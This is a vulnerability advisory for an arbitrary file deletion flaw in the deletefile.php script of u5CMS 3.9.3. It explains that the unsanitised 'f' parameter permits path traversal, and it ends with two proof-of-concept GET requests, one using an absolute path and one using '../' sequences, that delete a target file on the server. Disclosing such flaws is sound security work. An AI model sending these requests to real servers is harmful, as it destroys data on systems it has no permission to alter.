u5CMS 3.9.3 Arbitrary File Deletion

Risk: Medium
Local: No
Remote: Yes

? u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability Vendor: Stefan P. Minder Product web page: http://www.yuba.ch Affected version: 3.9.3 and 3.9.2 Summary: u5CMS is a little, handy Content Management System for medium-sized websites, conference / congress / submission administration, review processes, personalized serial mails, PayPal payments and online surveys based on PHP and MySQL and Apache. Desc: Input passed to the 'f' parameter in 'deletefile.php' is not properly sanitised before being used to delete files. This can be exploited to delete files with the permissions of the web server using their absolute path or via directory traversal sequences passed within the affected GET parameter. Tested on: Apache 2.4.10 (Win32) PHP 5.6.3 MySQL 5.6.21 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5226 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5226.php 29.12.2014 --- Target: C:\deleteme.txt ----------------------- GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=/deleteme.txt HTTP/1.1 GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../../../../../../deleteme.txt HTTP/1.1



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